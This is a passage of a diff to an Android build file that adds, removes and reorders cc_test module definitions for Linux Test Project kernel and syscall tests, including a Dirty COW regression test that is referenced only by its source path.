-    stem: "socketcall01",
+    name: "ltp_pselect03",
+    stem: "pselect03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall01.c"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect03.c"],
     local_include_dirs: [
         "testcases/kernel/include",
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
@@ -5778,6 +5691,23 @@
 }
 
 cc_test {
+    name: "ltp_thp03",
+    stem: "thp03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/thp/thp03.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
     name: "ltp_pwritev01",
     stem: "pwritev01",
     defaults: ["ltp_test_defaults"],
@@ -5844,10 +5774,22 @@
 }
 
 cc_test {
-    name: "ltp_cpufreq_boost",
-    stem: "cpufreq_boost",
+    name: "ltp_listxattr03",
+    stem: "listxattr03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c"],
+    srcs: ["testcases/kernel/syscalls/listxattr/listxattr03.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_listxattr02",
+    stem: "listxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/listxattr/listxattr02.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -5949,6 +5891,18 @@
 }
 
 cc_test {
+    name: "ltp_fork_exec_loop",
+    stem: "fork_exec_loop",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/freezer/fork_exec_loop.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_vma01",
     stem: "vma01",
     defaults: ["ltp_test_defaults"],
@@ -6149,7 +6103,11 @@
     stem: "nfs01_open_files",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/network/nfs/nfs_stress/nfs01_open_files.c"],
-    local_include_dirs: ["include/old"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -6380,7 +6338,11 @@
         "-D_FILE_OFFSET_BITS=64",
         "-D_LARGEFILE_SOURCE",
     ],
-    local_include_dirs: ["include/old"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -6417,6 +6379,18 @@
 }
 
 cc_test {
+    name: "ltp_writev07",
+    stem: "writev07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/writev/writev07.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_float_iperb",
     stem: "float_iperb",
     defaults: ["ltp_test_defaults"],
@@ -6525,6 +6499,18 @@
 }
 
 cc_test {
+    name: "ltp_cpufreq_boost",
+    stem: "cpufreq_boost",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_times01",
     stem: "times01",
     defaults: ["ltp_test_defaults"],
@@ -6962,6 +6948,30 @@
 }
 
 cc_test {
+    name: "ltp_keyctl03",
+    stem: "keyctl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl03.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl02",
+    stem: "keyctl02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl02.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_timerfd_create01",
     stem: "timerfd_create01",
     defaults: ["ltp_test_defaults"],
@@ -7160,27 +7170,20 @@
 }
 
 cc_test {
-    name: "ltp_umask03",
-    stem: "umask03",
+    name: "ltp_oom04",
+    stem: "oom04",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umask/umask03.c"],
+    srcs: ["testcases/kernel/mem/oom/oom04.c"],
     local_include_dirs: [
+        "testcases/kernel/mem/include",
         "testcases/kernel/include",
         "include/old",
     ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umask02",
-    stem: "umask02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umask/umask02.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
     ],
-    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -7236,10 +7239,10 @@
 }
 
 cc_test {
-    name: "ltp_memcg_getpagesize",
-    stem: "memcg_getpagesize",
+    name: "ltp_getxattr04",
+    stem: "getxattr04",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/functional/memcg_getpagesize.c"],
+    srcs: ["testcases/kernel/syscalls/getxattr/getxattr04.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -7450,6 +7453,18 @@
 }
 
 cc_test {
+    name: "ltp_dirtyc0w",
+    stem: "dirtyc0w",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/dirtyc0w/dirtyc0w.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_wait01",
     stem: "epoll_wait01",
     defaults: ["ltp_test_defaults"],
@@ -7738,15 +7753,36 @@
 }
 
 cc_test {
-    name: "ltp_fcntl27",
-    stem: "fcntl27",
+    name: "ltp_flistxattr03",
+    stem: "flistxattr03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl27.c"],
-    cflags: ["-D_GNU_SOURCE"],
+    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr03.c"],
     local_include_dirs: [
         "testcases/kernel/include",
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flistxattr02",
+    stem: "flistxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr02.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flistxattr01",
+    stem: "flistxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr01.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
@@ -7954,10 +7990,10 @@
 }
 
 cc_test {
-    name: "ltp_waitpid12",
-    stem: "waitpid12",
+    name: "ltp_sysctl03",
+    stem: "sysctl03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid12.c"],
+    srcs: ["testcases/kernel/syscalls/sysctl/sysctl03.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -8022,6 +8058,25 @@
 }
 
 cc_test {
+    name: "ltp_hugemmap04",
+    stem: "hugemmap04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "testcases/kernel/mem/hugetlb/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_hugetlb",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
     name: "ltp_timerfd_gettime01",
     stem: "timerfd_gettime01",
     defaults: ["ltp_test_defaults"],
@@ -8053,20 +8108,15 @@
 }
 
 cc_test {
-    name: "ltp_thp03",
-    stem: "thp03",
+    name: "ltp_tomoyo_filesystem_test",
+    stem: "tomoyo_filesystem_test",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/thp/thp03.c"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_filesystem_test.c"],
     local_include_dirs: [
-        "testcases/kernel/mem/include",
         "testcases/kernel/include",
         "include/old",
     ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -8188,15 +8238,11 @@
 }
 
 cc_test {
-    name: "ltp_lseek04",
-    stem: "lseek04",
+    name: "ltp_in",
+    stem: "in",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lseek/lseek04.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
+    srcs: ["testcases/commands/file/datafiles/in.c"],
+    local_include_dirs: ["include/old"],
 }
 
 cc_test {
@@ -8236,12 +8282,15 @@
 }
 
 cc_test {
-    name: "ltp_lseek08",
-    stem: "lseek08",
+    name: "ltp_fcntl27",
+    stem: "fcntl27",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lseek/lseek08.c"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl27.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: [
         "testcases/kernel/include",
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
@@ -8564,6 +8613,19 @@
 }
 
 cc_test {
+    name: "ltp_recvmsg03",
+    stem: "recvmsg03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg03.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_recvmsg02",
     stem: "recvmsg02",
     defaults: ["ltp_test_defaults"],
@@ -8665,25 +8727,6 @@
 }
 
 cc_test {
-    name: "ltp_hugemmap04",
-    stem: "hugemmap04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "testcases/kernel/mem/hugetlb/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_hugetlb",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
     name: "ltp_userns03",
     stem: "userns03",
     defaults: ["ltp_test_defaults"],
@@ -8700,10 +8743,10 @@
 }
 
 cc_test {
-    name: "ltp_pause01",
-    stem: "pause01",
+    name: "ltp_lgetxattr01",
+    stem: "lgetxattr01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pause/pause01.c"],
+    srcs: ["testcases/kernel/syscalls/lgetxattr/lgetxattr01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -8724,10 +8767,10 @@
 }
 
 cc_test {
-    name: "ltp_pause02",
-    stem: "pause02",
+    name: "ltp_lgetxattr02",
+    stem: "lgetxattr02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pause/pause02.c"],
+    srcs: ["testcases/kernel/syscalls/lgetxattr/lgetxattr02.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -8913,22 +8956,10 @@
 }
 
 cc_test {
-    name: "ltp_nice05",
-    stem: "nice05",
+    name: "ltp_check_keepcaps",
+    stem: "check_keepcaps",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nice/nice05.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysctl03",
-    stem: "sysctl03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysctl/sysctl03.c"],
+    srcs: ["testcases/kernel/security/securebits/check_keepcaps.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -8973,6 +9004,18 @@
 }
 
 cc_test {
+    name: "ltp_unlink07",
+    stem: "unlink07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unlink/unlink07.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_gencos",
     stem: "gencos",
     defaults: ["ltp_test_defaults"],
@@ -9017,24 +9060,25 @@
 }
 
 cc_test {
-    name: "ltp_get_robust_list01",
-    stem: "get_robust_list01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/get_robust_list/get_robust_list01.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_iogen",
     stem: "iogen",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/doio/iogen.c"],
+    srcs: [
+        "testcases/kernel/fs/doio/iogen.c",
+        "testcases/kernel/fs/doio/dataascii.c",
+        "testcases/kernel/fs/doio/databin.c",
+        "testcases/kernel/fs/doio/file_lock.c",
+        "testcases/kernel/fs/doio/forker.c",
+        "testcases/kernel/fs/doio/open_flags.c",
+        "testcases/kernel/fs/doio/datapid.c",
+        "testcases/kernel/fs/doio/write_log.c",
+        "testcases/kernel/fs/doio/pattern.c",
+        "testcases/kernel/fs/doio/string_to_tokens.c",
+        "testcases/kernel/fs/doio/bytes_by_prefix.c",
+    ],
     cflags: ["-D_LARGEFILE64_SOURCE"],
     local_include_dirs: [
+        "testcases/kernel/fs/doio/include",
         "testcases/kernel/include",
         "include/old",
     ],
@@ -9211,22 +9255,10 @@
 }
 
 cc_test {
-    name: "ltp_socket03",
-    stem: "socket03",
+    name: "ltp_getresuid01",
+    stem: "getresuid01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socket/socket03.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpgrp01",
-    stem: "getpgrp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpgrp/getpgrp01.c"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -9328,6 +9360,22 @@
 }
 
 cc_test {
+    name: "ltp_userns05",
+    stem: "userns05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/containers/userns/userns05.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/containers/libclone",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_clone",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
     name: "ltp_ioperm02",
     stem: "ioperm02",
     defaults: ["ltp_test_defaults"],
@@ -9411,32 +9459,11 @@
 }
 
 cc_test {
-    name: "ltp_pth_str02",
-    stem: "pth_str02",
+    name: "ltp_gentan",
+    stem: "gentan",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/pthreads/pth_str02.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_oom04",
-    stem: "oom04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/oom/oom04.c"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
+    srcs: ["testcases/misc/math/float/trigo/gentan.c"],
+    local_include_dirs: ["include/old"],
 }
 
 cc_test {
@@ -9512,6 +9539,18 @@
 }
 
 cc_test {
+    name: "ltp_lseek04",
+    stem: "lseek04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek04.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_test03",
     stem: "test03",
     defaults: ["ltp_test_defaults"],
@@ -9645,6 +9684,18 @@
 }
 
 cc_test {
+    name: "ltp_sendto02",
+    stem: "sendto02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendto/sendto02.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_memcpy01",
     stem: "memcpy01",
     defaults: ["ltp_test_defaults"],
@@ -9693,10 +9744,10 @@
 }
 
 cc_test {
-    name: "ltp_getpriority01",
-    stem: "getpriority01",
+    name: "ltp_lseek08",
+    stem: "lseek08",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpriority/getpriority01.c"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek08.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -9865,6 +9916,18 @@
 }
 
 cc_test {
+    name: "ltp_netstress",
+    stem: "netstress",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/netstress/netstress.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_alarm07",
     stem: "alarm07",
     defaults: ["ltp_test_defaults"],
@@ -10128,10 +10191,10 @@
 }
 
 cc_test {
-    name: "ltp_sysfs02",
-    stem: "sysfs02",
+    name: "ltp_socketcall01",
+    stem: "socketcall01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs02.c"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -10196,6 +10259,30 @@
 }
 
 cc_test {
+    name: "ltp_iopl01",
+    stem: "iopl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/iopl/iopl01.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mprotect01",
+    stem: "mprotect01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mprotect/mprotect01.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_geny0",
     stem: "geny0",
     defaults: ["ltp_test_defaults"],
@@ -10498,26 +10585,11 @@
 }
 
 cc_test {
-    name: "ltp_fork_exec_loop",
-    stem: "fork_exec_loop",
+    name: "ltp_tst_res_hexd",
+    stem: "tst_res_hexd",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/freezer/fork_exec_loop.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mprotect02",
-    stem: "mprotect02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mprotect/mprotect02.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
+    srcs: ["lib/newlib_tests/tst_res_hexd.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
@@ -10722,14 +10794,12 @@
 }
 
 cc_test {
-    name: "ltp_createfile",
-    stem: "createfile",
+    name: "ltp_write03",
+    stem: "write03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/echo/createfile.c"],
-    cflags: ["-DDEBUG"],
+    srcs: ["testcases/kernel/syscalls/write/write03.c"],
     local_include_dirs: [
         "testcases/kernel/include",
-        "testcases/network/tcp_cmds/include",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
@@ -10903,10 +10973,10 @@
 }
 
 cc_test {
-    name: "ltp_tcp_fastopen",
-    stem: "tcp_fastopen",
+    name: "ltp_waitpid12",
+    stem: "waitpid12",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_fastopen/tcp_fastopen.c"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid12.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -11063,6 +11133,18 @@
 }
 
 cc_test {
+    name: "ltp_socketcall04",
+    stem: "socketcall04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall04.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_mtest01",
     stem: "mtest01",
     defaults: ["ltp_test_defaults"],
@@ -11087,10 +11169,22 @@
 }
 
 cc_test {
-    name: "ltp_execle01",
-    stem: "execle01",
+    name: "ltp_getpriority01",
+    stem: "getpriority01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execle/execle01.c"],
+    srcs: ["testcases/kernel/syscalls/getpriority/getpriority01.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs02",
+    stem: "sysfs02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs02.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -11175,6 +11269,18 @@
 }
 
 cc_test {
+    name: "ltp_madvise07",
+    stem: "madvise07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise07.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_madvise06",
     stem: "madvise06",
     defaults: ["ltp_test_defaults"],
@@ -11187,11 +11293,27 @@
 }
 
 cc_test {
-    name: "ltp_genfmod",
-    stem: "genfmod",
+    name: "ltp_madvise09",
+    stem: "madvise09",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genfmod.c"],
-    local_include_dirs: ["include/old"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise09.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise08",
+    stem: "madvise08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise08.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -11557,18 +11679,6 @@
 }
 
 cc_test {
-    name: "ltp_sched_setscheduler01",
-    stem: "sched_setscheduler01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_creat07_child",
     stem: "creat07_child",
     defaults: ["ltp_test_defaults"],
@@ -11868,15 +11978,6 @@
 }
 
 cc_test {
-    name: "ltp_bytes_by_prefix_test",
-    stem: "bytes_by_prefix_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/bytes_by_prefix_test.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_mmapstress08",
     stem: "mmapstress08",
     defaults: ["ltp_test_defaults"],
@@ -12075,10 +12176,10 @@
 }
 
 cc_test {
-    name: "ltp_socketcall02",
-    stem: "socketcall02",
+    name: "ltp_pause01",
+    stem: "pause01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall02.c"],
+    srcs: ["testcases/kernel/syscalls/pause/pause01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -12141,10 +12242,10 @@
 }
 
 cc_test {
-    name: "ltp_socketcall04",
-    stem: "socketcall04",
+    name: "ltp_lseek11",
+    stem: "lseek11",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall04.c"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek11.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -12265,10 +12366,10 @@
 }
 
 cc_test {
-    name: "ltp_tkill02",
-    stem: "tkill02",
+    name: "ltp_pause02",
+    stem: "pause02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/tkill/tkill02.c"],
+    srcs: ["testcases/kernel/syscalls/pause/pause02.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -12317,6 +12418,18 @@
 }
 
 cc_test {
+    name: "ltp_listxattr01",
+    stem: "listxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/listxattr/listxattr01.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_select03",
     stem: "select03",
     defaults: ["ltp_test_defaults"],
@@ -12547,10 +12660,10 @@
 }
 
 cc_test {
-    name: "ltp_mprotect01",
-    stem: "mprotect01",
+    name: "ltp_eject_check_tray",
+    stem: "eject_check_tray",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mprotect/mprotect01.c"],
+    srcs: ["testcases/commands/eject/eject_check_tray.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -12607,10 +12720,10 @@
 }
 
 cc_test {
-    name: "ltp_access05",
-    stem: "access05",
+    name: "ltp_get_robust_list01",
+    stem: "get_robust_list01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/access/access05.c"],
+    srcs: ["testcases/kernel/syscalls/get_robust_list/get_robust_list01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -12633,6 +12746,18 @@
 }
 
 cc_test {
+    name: "ltp_mprotect02",
+    stem: "mprotect02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mprotect/mprotect02.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_access01",
     stem: "access01",
     defaults: ["ltp_test_defaults"],
@@ -13023,6 +13148,18 @@
 }
 
 cc_test {
+    name: "ltp_tst_rod",
+    stem: "tst_rod",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_rod.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_check_pe",
     stem: "check_pe",
     defaults: ["ltp_test_defaults"],
@@ -13059,6 +13196,14 @@
 }
 
 cc_test {
+    name: "ltp_genlgamma",
+    stem: "genlgamma",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/genlgamma.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_sched_get_priority_max02",
     stem: "sched_get_priority_max02",
     defaults: ["ltp_test_defaults"],
@@ -13340,6 +13485,19 @@
 }
 
 cc_test {
+    name: "ltp_tst_brkm",
+    stem: "tst_brkm",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_pread02_64",
     stem: "pread02_64",
     defaults: ["ltp_test_defaults"],
@@ -13576,17 +13734,6 @@
 }
 
 cc_test {
-    name: "ltp_nfs_flock_frk",
-    stem: "nfs_flock_frk",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/nfs/nfslock01/nfs_flock_frk.c",
-        "testcases/network/nfs/nfslock01/nfs_flock_func.c",
-    ],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
     name: "ltp_fcntl14_64",
     stem: "fcntl14_64",
     defaults: ["ltp_test_defaults"],
@@ -13644,19 +13791,6 @@
 }
 
 cc_test {
-    name: "ltp_tst_kvercmp",
-    stem: "tst_kvercmp",
-    defaults: ["ltp_test_defaults"],
